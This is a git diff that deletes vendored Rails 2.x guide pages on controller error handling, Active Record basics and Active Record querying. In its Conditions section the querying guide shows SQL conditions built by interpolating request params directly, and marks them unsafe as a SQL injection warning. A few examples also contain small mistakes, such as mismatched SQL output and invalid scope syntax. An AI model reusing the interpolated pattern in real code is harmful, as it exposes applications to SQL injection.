Rails keeps a log file for each environment (development, test and production) in the log folder. These are extremely useful when debugging what’s actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The filter_parameter_logging method can be used to filter out sensitive information from the log. It works by replacing certain values in the params hash with "[FILTERED]" as they are written to the log. As an example, let’s see how to filter all parameters with keys that include "password":

-
-
-
class ApplicationController < ActionController::Base
-
-  filter_parameter_logging :password
-
-end
-

The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.

-
-

13. Rescue

-
-

Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they’re displayed to the user. There are several levels of exception handling available in a Rails application:

-

13.1. The Default 500 and 404 Templates

-

By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the public folder, in 404.html and 500.html respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can’t use RHTML or layouts in them, just plain HTML.

-

13.2. rescue_from

-

If you want to do something a bit more elaborate when catching errors, you can use rescue_from, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a rescue_from directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the :with option. You can also use a block directly instead of an explicit Proc object.

-

Here’s how you can use rescue_from to intercept all ActiveRecord::RecordNotFound errors and do something with them.

-
-
-
class ApplicationController < ActionController::Base
-
-  rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
-
-private
-
-  def record_not_found
-    render :text => "404 Not Found", :status => 404
-  end
-
-end
-

Of course, this example is anything but elaborate and doesn’t improve on the default exception handling at all, but once you can catch all those exceptions you’re free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn’t have access to a certain section of your application:

-
-
-
class ApplicationController < ActionController::Base
-
-  rescue_from User::NotAuthorized, :with => :user_not_authorized
-
-private
-
-  def user_not_authorized
-    flash[:error] = "You don't have access to this section."
-    redirect_to :back
-  end
-
-end
-
-class ClientsController < ApplicationController
-
-  # Check that the user has the right authorization to access clients.
-  before_filter :check_authorization
-
-  # Note how the actions don't have to worry about all the auth stuff.
-  def edit
-    @client = Client.find(params[:id])
-  end
-
-private
-
-  # If the user is not authorized, just throw the exception.
-  def check_authorization
-    raise User::NotAuthorized unless current_user.admin?
-  end
-
-end
-
- - - -
-Note -Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik’s article on the subject for more information.
-
-
-

14. Changelog

-
-

Lighthouse ticket

-
    -
  • -

    -November 4, 2008: First release version by Tore Darrell -

    -
    • -
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/active_record_basics.html b/vendor/rails/railties/doc/guides/html/active_record_basics.html deleted file mode 100644 index f99d57fa..00000000 --- a/vendor/rails/railties/doc/guides/html/active_record_basics.html +++ /dev/null @@ -1,342 +0,0 @@ - - - - - Active Record Basics - - - - - - - - -
- - - -
-

Active Record Basics

-
-
-

This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer.

-

After reading this guide we hope that you’ll be able to:

-
    -
  • -

    -Understand the way Active Record fits into the MVC model. -

    -
    • -
  • -

    -Create basic Active Record models and map them with your database tables. -

    -
    • -
  • -

    -Use your models to execute CRUD (Create, Read, Update and Delete) database operations. -

    -
    • -
  • -

    -Follow the naming conventions used by Rails to make developing database applications easier and obvious. -

    -
    • -
  • -

    -Take advantage of the way Active Record maps it’s attributes with the database tables' columns to implement your application’s logic. -

    -
    • -
  • -

    -Use Active Record with legacy databases that do not follow the Rails naming conventions. -

    -
    • -
-
-
-

1. What’s Active Record

-
-

Rails' ActiveRecord is an implementation of Martin Fowler’s Active Record Design Pattern. This pattern is based on the idea of creating relations between the database and the application in the following way:

-
    -
  • -

    -Each database table is mapped to a class. -

    -
    • -
  • -

    -Each table column is mapped to an attribute of this class. -

    -
    • -
  • -

    -Each instance of this class is mapped to a single row in the database table. -

    -
    • -
-

The definition of the Active Record pattern in Martin Fowler’s words:

-

"An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data."

-
-

2. Object Relational Mapping

-
-

The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behaviour of the real world elements that were modeled through these objects. Since we need to store the system’s state somehow, we can use relational databases, which are proven to be an excelent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in.

-
-

3. ActiveRecord as an ORM framework

-
-

ActiveRecord gives us several mechanisms, being the most important ones the hability to:

-
    -
  • -

    -Represent models. -

    -
    • -
  • -

    -Represent associations between these models. -

    -
    • -
  • -

    -Represent inheritance hierarquies through related models. -

    -
    • -
  • -

    -Validate models before they get recorded to the database. -

    -
    • -
  • -

    -Perform database operations in an object-oriented fashion. -

    -
    • -
-

It’s easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern.

-
-

4. Active Record inside the MVC model

-
-

Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it’s ActiveRecord responsability to deliver you the easiest possible way to recover this data from the database.

-
-

5. Convention over Configuration in ActiveRecord

-
-

When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particulary true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you’ll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicity configuration would be needed only in those cases where you can’t follow the conventions for any reason.

-

5.1. Naming Conventions

-

By default, ActiveRecord uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class Book, you should have a database table called books. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples:

-
    -
  • -

    -Database Table - Plural with underscores separating words i.e. (book_clubs) -

    -
    • -
  • -

    -Model Class - Singular with the first letter of each word capitalized i.e. (BookClub) -

    -
    • -
-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Model / Class Table / Schema

Post

posts

LineItem

line_items

Deer

deer

Mouse

mice

Person

people

-
-

5.2. Schema Conventions

-

ActiveRecord uses naming conventions for the columns in database tables, depending on the purpose of these columns.

-
    -
  • -

    -Foreign keys - These fields should be named following the pattern table_id i.e. (item_id, order_id). These are the fields that ActiveRecord will look for when you create associations between your models. -

    -
    • -
  • -

    -Primary keys - By default, ActiveRecord will use a integer column named "id" as the table’s primary key. When using Rails Migrations to create your tables, this column will be automaticaly created. -

    -
    • -
-

There are also some optional column names that will create additional features to ActiveRecord instances:

-
    -
  • -

    -created_at / created_on - ActiveRecord will store the current date and time to this field when creating the record. -

    -
    • -
  • -

    -updated_at / updated_on - ActiveRecord will store the current date and times to this field when updating the record. -

    -
    • -
  • -

    -lock_version - Adds optimistic locking to a model. -

    -
    • -
  • -

    -type - Specifies that the model uses Single Table Inheritance -

    -
    • -
  • -

    -(table_name)_count - Used to cache the number of belonging objects on associations. For example, a comments_count column in a Post class that has many instances of Comment will cache the number of existent comments for each post. -

    -
    • -
-
- - - -
-Note -While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
-
-
-

6. Creating ActiveRecord models

-
-

It’s very easy to create ActiveRecord models. All you have to do is to subclass the ActiveRecord::Base class and you’re good to go:

-
-
-
class Product < ActiveRecord::Base; end
-

This will create a Product model, mapped to a products table at the database. By doing this you’ll also have the hability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the products table was created using a SQL sentence like:

-
-
-
CREATE TABLE products (
-   id int(11) NOT NULL auto_increment,
-   name varchar(255),
-   PRIMARY KEY  (id)
-);
-

Following the table schema above, you would be able to write code like the following:

-
-
-
p = Product.new
-p.name = "Some Book"
-puts p.name # "Some Book"
-
-

7. Overriding the naming conventions

-
-

What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.

-

You can use the ActiveRecord::Base.set_table_name method to specify the table name that should be used:

-
-
-
class Product < ActiveRecord::Base
-  set_table_name "PRODUCT"
-end
-

It’s also possible to override the column that should be used as the table’s primary key. Use the ActiveRecord::Base.set_primary_key method for that:

-
-
-
class Product < ActiveRecord::Base
-  set_primary_key "product_id"
-end
-
-

8. Validations

-
-

ActiveRecord gives the hability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the lifecycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the Active Record Validations and Callbacks guide.

-
-

9. Callbacks

-
-

ActiveRecord callbacks allow you to attach code to certain events in the lifecycle of your models. This way you can add behaviour to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the Active Record Validations and Callbacks guide.

-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/active_record_querying.html b/vendor/rails/railties/doc/guides/html/active_record_querying.html deleted file mode 100644 index e42bd80e..00000000 --- a/vendor/rails/railties/doc/guides/html/active_record_querying.html +++ /dev/null @@ -1,932 +0,0 @@ - - - - - Active Record Query Interface - - - - - - - - -
- - - -
-

Active Record Query Interface

-
-
-

This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:

-
    -
  • -

    -Find records using a variety of methods and conditions -

    -
    • -
  • -

    -Specify the order, retrieved attributes, grouping, and other properties of the found records -

    -
    • -
  • -

    -Use eager loading to reduce the number of database queries needed for data retrieval -

    -
    • -
  • -

    -Use dynamic finders methods -

    -
    • -
  • -

    -Create named scopes to add custom finding behavior to your models -

    -
    • -
  • -

    -Check for the existence of particular records -

    -
    • -
  • -

    -Perform various calculations on Active Record models -

    -
    • -
-

If you’re used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.

-

Code examples throughout this guide will refer to one or more of the following models:

-
-
-
class Client < ActiveRecord::Base
-  has_one :address
-  has_one :mailing_address
-  has_many :orders
-  has_and_belongs_to_many :roles
-end
-
-
-
class Address < ActiveRecord::Base
-  belongs_to :client
-end
-
-
-
class MailingAddress < Address
-end
-
-
-
class Order < ActiveRecord::Base
-  belongs_to :client, :counter_cache => true
-end
-
-
-
class Role < ActiveRecord::Base
-  has_and_belongs_to_many :clients
-end
-
-
-

Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you’re using, the Active Record method format will always be the same.

-
-
-
-

1. Retrieving objects

-
-

To retrieve objects from the database, Active Record provides a primary method called find. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type Client.find(1) which would execute this query on your database:

-
-
-
SELECT * FROM clients WHERE (clients.id = 1)
-
- - - -
-Note -Because this is a standard table created from a migration in Rails, the primary key is defaulted to id. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.
-
-

If you wanted to find clients with id 1 or 2, you call Client.find([1,2]) or Client.find(1,2) and then this will be executed as:

-
-
-
SELECT * FROM clients WHERE (clients.id IN (1,2))
-
-
-
>> Client.find(1,2)
-=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
-  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
-  #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
-  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
-
-

Note that if you pass in a list of numbers that the result will be returned as an array, not as a single Client object.

-
- - - -
-Note -If find(id) or find([id1, id2]) fails to find any records, it will raise a RecordNotFound exception.
-
-

If you wanted to find the first Client object you would simply type Client.first and that would find the first client in your clients table:

-
-
-
>> Client.first
-=> #<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
-  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">
-
-

If you were reading your log file (the default is log/development.log) you may see something like this:

-
-
-
SELECT * FROM clients LIMIT 1
-

Indicating the query that Rails has performed on your database.

-

To find the last Client object you would simply type Client.last and that would find the last client created in your clients table:

-
-
-
>> Client.last
-=> #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
-  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">
-
-

If you were reading your log file (the default is log/development.log) you may see something like this:

-
-
-
SELECT * FROM clients ORDER BY id DESC LIMIT 1
-
- - - -
-Note -Please be aware that the syntax that Rails uses to find the first record in the table means that it may not be the actual first record. If you want the actual first record based on a field in your table (e.g. created_at) specify an order option in your find call. The last method call works differently: it finds the last record on your table based on the primary key column.
-
-
-
-
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-

To find all the Client objects you would simply type Client.all and that would find all the clients in your clients table:

-
-
-
>> Client.all
-=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
-  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
-  #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
-  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
-
-

You may see in Rails code that there are calls to methods such as Client.find(:all), Client.find(:first) and Client.find(:last). These methods are just alternatives to Client.all, Client.first and Client.last respectively.

-

Be aware that Client.first/Client.find(:first) and Client.last/Client.find(:last) will both return a single object, where as Client.all/Client.find(:all) will return an array of Client objects, just as passing in an array of ids to find will do also.

-
-

2. Conditions

-
-

The find method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.

-

2.1. Pure String Conditions

-

If you’d like to add conditions to your find, you could just specify them in there, just like Client.first(:conditions => "orders_count = 2"). This will find all clients where the orders_count field’s value is 2.

-
- - - -
-Warning -Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, Client.first(:conditions => "name LIKE %#{params[:name]}%") is not safe. See the next section for the preferred way to handle conditions using an array.
-
-

2.2. Array Conditions

-

Now what if that number could vary, say as a argument from somewhere, or perhaps from the user’s level status somewhere? The find then becomes something like Client.first(:conditions => ["orders_count = ?", params[:orders]]). Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false]). In this example, the first question mark will be replaced with the value in params[:orders] and the second will be replaced with the SQL representation of false, which depends on the adapter.

-

The reason for doing code like:

-
-
-
Client.first(:conditions => ["orders_count = ?", params[:orders]])
-

instead of:

-
-
-
Client.first(:conditions => "orders_count = #{params[:orders]}")
-

is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database as-is. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.

-
- - - -
-Tip -For more information on the dangers of SQL injection, see the Ruby on Rails Security Guide.
-
-

If you’re looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:

-
-
-
Client.all(:conditions => ["created_at IN (?)",
-  (params[:start_date].to_date)..(params[:end_date].to_date)])
-

This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that’s 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.

-
-
-
SELECT * FROM users WHERE (created_at IN
-  ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
-  '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
-  '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
-  '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
-  ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
-  '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
-  '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
-

Things can get really messy if you pass in Time objects as it will attempt to compare your field to every second in that range:

-
-
-
Client.all(:conditions => ["created_at IN (?)",
-  (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
-
-
-
SELECT * FROM users WHERE (created_at IN
-  ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
-  '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
-

This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:

-
-
-
Got a packet bigger than 'max_allowed_packet' bytes: _query_
-
-

Where query is the actual query used to get that error.

-

In this example it would be better to use greater-than and less-than operators in SQL, like so:

-
-
-
Client.all(:conditions =>
-  ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
-

You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:

-
-
-
Client.all(:conditions =>
-  ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
-

Just like in Ruby. If you want a shorter syntax be sure to check out the Hash Conditions section later on in the guide.

-

2.3. Placeholder Conditions

-

Similar to the array style of params you can also specify keys in your conditions:

-
-
-
Client.all(:conditions =>
-  ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
-

This makes for clearer readability if you have a large number of variable conditions.

-

2.4. Hash Conditions

-

Rails also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:

-
-
-
Client.all(:conditions => { :locked => true })
-

The field name does not have to be a symbol it can also be a string:

-
-
-
Client.all(:conditions => { 'locked' => true })
-

The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.

-
-
-
Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight})
-

This will find all clients created yesterday by using a BETWEEN sql statement:

-
-
-
SELECT * FROM `clients` WHERE (`clients`.`created_at` BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
-

This demonstrates a shorter syntax for the examples in Array Conditions

-

You can also join in tables and specify their columns in the hash:

-
-
-
Client.all(:include => "orders", :conditions => { 'orders.created_at' => (Time.now.midnight - 1.day)..Time.now.midnight })
-

An alternative and cleaner syntax to this is:

-
-
-
Client.all(:include => "orders", :conditions => { :orders => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight } })
-

This will find all clients who have orders that were created yesterday, again using a BETWEEN expression.

-

If you want to find records using the IN expression you can pass an array to the conditions hash:

-
-
-
Client.all(:include => "orders", :conditions => { :orders_count => [1,3,5] }
-

This code will generate SQL like this:

-
-
-
SELECT * FROM `clients` WHERE (`clients`.`orders_count` IN (1,2,3))
-
-

3. Ordering

-
-

If you’re getting a set of records and want to order them in ascending order by the created_at field in your table, you can use Client.all(:order => "created_at"). If you’d like to order it in descending order, just tell it to do that using Client.all(:order => "created_at desc"). The value for this option is passed in as sanitized SQL and allows you to sort via multiple fields: Client.all(:order => "created_at desc, orders_count asc").

-
-

4. Selecting Certain Fields

-
-

To select certain fields, you can use the select option like this: Client.first(:select => "viewable_by, locked"). This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute SELECT viewable_by, locked FROM clients LIMIT 1 on your database.

-

Be careful because this also means you’re initializing a model object with only the fields that you’ve selected. If you attempt to access a field that is not in the initialized record you’ll receive:

-
-
-
ActiveRecord::MissingAttributeError: missing attribute: <attribute>
-
-

Where <attribute> is the atrribute you asked for. The id method will not raise the ActiveRecord::MissingAttributeError, so just be careful when working with associations because they need the id method to function properly.

-

You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the DISTINCT function you can do it like this: Client.all(:select => "DISTINCT(name)").

-
-

5. Limit & Offset

-
-

If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:

-
-
-
Client.all(:limit => 5)
-

This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:

-
-
-
SELECT * FROM clients LIMIT 5
-
-
-
Client.all(:limit => 5, :offset => 5)
-

This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:

-
-
-
SELECT * FROM clients LIMIT 5, 5
-
-

6. Group

-
-

The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:

-
-
-
Order.all(:group => "date(created_at)", :order => "created_at")
-

And this will give you a single Order object for each date where there are orders in the database.

-

The SQL that would be executed would be something like this:

-
-
-
SELECT * FROM orders GROUP BY date(created_at)
-
-

7. Having

-
-

The :having option allows you to specify SQL and acts as a kind of a filter on the group option. :having can only be specified when :group is specified.

-

An example of using it would be:

-
-
-
Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago])
-

This will return single order objects for each day, but only for the last month.

-
-

8. Read Only

-
-

readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an ActiveRecord::ReadOnlyRecord exception. To set this option, specify it like this:

-
-
-
Client.first(:readonly => true)
-

If you assign this record to a variable client, calling the following code will raise an ActiveRecord::ReadOnlyRecord exception:

-
-
-
client = Client.first(:readonly => true)
-client.locked = false
-client.save
-
-

9. Lock

-
-

If you’re wanting to stop race conditions for a specific record (for example, you’re incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.

-
-
-
Topic.transaction do
-  t = Topic.find(params[:id], :lock => true)
-  t.increment!(:views)
-end
-

You can also pass SQL to this option to allow different types of locks. For example, MySQL has an expression called LOCK IN SHARE MODE where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:

-
-
-
Topic.transaction do
-  t = Topic.find(params[:id], :lock => "LOCK IN SHARE MODE")
-  t.increment!(:views)
-end
-
-

10. Making It All Work Together

-
-

You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find method Active Record will use the last one you specified. This is because the options passed to find are a hash and defining the same key twice in a hash will result in the last definition being used.

-
-

11. Eager Loading

-
-

Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use Client.all(:include => :address). If you wanted to include both the address and mailing address for the client you would use Client.find(:all, :include => [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:

-
-
-
Client Load (0.000383)   SELECT * FROM clients
-Address Load (0.119770)   SELECT addresses.* FROM addresses
-  WHERE (addresses.client_id IN (13,14))
-MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM
-  mailing_addresses WHERE (mailing_addresses.client_id IN (13,14))
-

The numbers 13 and 14 in the above SQL are the ids of the clients gathered from the Client.all query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called address or mailing_address on one of the objects in the clients array, which may lead to performance issues if you’re loading a large number of records at once and is often called the "N+1 query problem". The problem is that the more queries your server has to execute, the slower it will run.

-

If you wanted to get all the addresses for a client in the same query you would do Client.all(:joins => :address). -If you wanted to find the address and mailing address for that client you would do Client.all(:joins => [:address, :mailing_address]). This is more efficient because it does all the SQL in one query, as shown by this example:

-
-
-
+Client Load (0.000455)   SELECT clients.* FROM clients INNER JOIN addresses
-  ON addresses.client_id = client.id INNER JOIN mailing_addresses ON
-  mailing_addresses.client_id = client.id
-

This query is more efficent, but there’s a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):

-
-
-
Client.all(:joins => “LEFT OUTER JOIN addresses ON
-  client.id = addresses.client_id LEFT OUTER JOIN mailing_addresses ON
-  client.id = mailing_addresses.client_id”)
-

When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:

-
-
-
Client.first(:include => "orders", :conditions =>
-  ["orders.created_at >= ? AND orders.created_at <= ?", 2.weeks.ago, Time.now])
-
-

12. Dynamic finders

-
-

For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called name on your Client model for example, you get find_by_name and find_all_by_name for free from Active Record. If you have also have a locked field on the Client model, you also get find_by_locked and find_all_by_locked.

-

You can do find_last_by_* methods too which will find the last record matching your argument.

-

You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like Client.find_by_name!("Ryan")

-

If you want to find both by name and locked, you can chain these finders together by simply typing and between the fields for example Client.find_by_name_and_locked("Ryan", true).

-

There’s another set of dynamic finders that let you find or create/initialize objects if they aren’t found. These work in a similar fashion to the other finders and can be used like find_or_create_by_name(params[:name]). Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for Client.find_or_create_by_name("Ryan"):

-
-
-
SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1
-BEGIN
-INSERT INTO clients (name, updated_at, created_at, orders_count, locked)
-  VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0')
-COMMIT
-

find_or_create's sibling, find_or_initialize, will find an object and if it does not exist will act similar to calling new with the arguments you passed in. For example:

-
-
-
client = Client.find_or_initialize_by_name('Ryan')
-

will either assign an existing client object with the name Ryan to the client local variable, or initialize a new object similar to calling Client.new(:name => Ryan). From here, you can modify other fields in client by calling the attribute setters on it: client.locked = true and when you want to write it to the database just call save on it.

-
-

13. Finding By SQL

-
-

If you’d like to use your own SQL to find records in a table you can use find_by_sql. The find_by_sql method will return an array of objects even the underlying query returns just a single record. For example you could run this query:

-
-
-
Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc")
-

find_by_sql provides you with a simple way of making custom calls to the database and retrieving instantiated objects.

-
-

14. select_all

-
-

find_by_sql has a close relative called connection#select_all. select_all will retrieve objects from the database using custom SQL just like find_by_sql but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.

-
-
-
Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'")
-
-

15. Working with Associations

-
-

When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like Client.find(params[:id]).orders.find_by_sent_and_received(true, false). Having this find method available on associations is extremely helpful when using nested resources.

-
-

16. Named Scopes

-
-

Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.

-

16.1. Simple Named Scopes

-

Suppose we want to find all clients who are male. You could use this code:

-
-
-
class Client < ActiveRecord::Base
-  named_scope :males, :conditions => { :gender => "male" }
-end
-

Then you could call Client.males.all to get all the clients who are male. Please note that if you do not specify the all on the end you will get a Scope object back, not a set of records which you do get back if you put the all on the end.

-

If you wanted to find all the clients who are active, you could use this:

-
-
-
class Client < ActiveRecord::Base
-  named_scope :active, :conditions => { :active => true }
-end
-

You can call this new named_scope with Client.active.all and this will do the same query as if we just used Client.all(:conditions => ["active = ?", true]). If you want to find the first client within this named scope you could do Client.active.first.

-

16.2. Combining Named Scopes

-

If you wanted to find all the clients who are active and male you can stack the named scopes like this:

-
-
-
Client.males.active.all
-

If you would then like to do a all on that scope, you can. Just like an association, named scopes allow you to call all on them:

-
-
-
Client.males.active.all(:conditions => ["age > ?", params[:age]])
-

16.3. Runtime Evaluation of Named Scope Conditions

-

Consider the following code:

-
-
-
class Client < ActiveRecord::Base
-  named_scope :recent, :conditions => { :created_at > 2.weeks.ago }
-end
-

This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That’s correct for the first time the model is loaded but for any time after that, 2.weeks.ago is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:

-
-
-
class Client < ActiveRecord::Base
-  named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } }
-end
-

And now every time the recent named scope is called, the code in the lambda block will be executed, so you’ll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.

-

16.4. Named Scopes with Multiple Models

-

In a named scope you can use :include and :joins options just like in find.

-
-
-
class Client < ActiveRecord::Base
-  named_scope :active_within_2_weeks, :joins => :order,
-    lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } }
-end
-

This method, called as Client.active_within_2_weeks.all, will return all clients who have placed orders in the past 2 weeks.

-

16.5. Arguments to Named Scopes

-

If you want to pass to a named scope a required arugment, just specify it as a block argument like this:

-
-
-
class Client < ActiveRecord::Base
-  named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } }
-end
-

This will work if you call Client.recent(2.weeks.ago).all but not if you call Client.recent. If you want to add an optional argument for this, you have to use prefix the arugment with an *.

-
-
-
class Client < ActiveRecord::Base
-  named_scope :recent, lambda { |*args| { :conditions => ["created_at > ?", args.first || 2.weeks.ago] } }
-end
-

This will work with Client.recent(2.weeks.ago).all and Client.recent.all, with the latter always returning records with a created_at date between right now and 2 weeks ago.

-

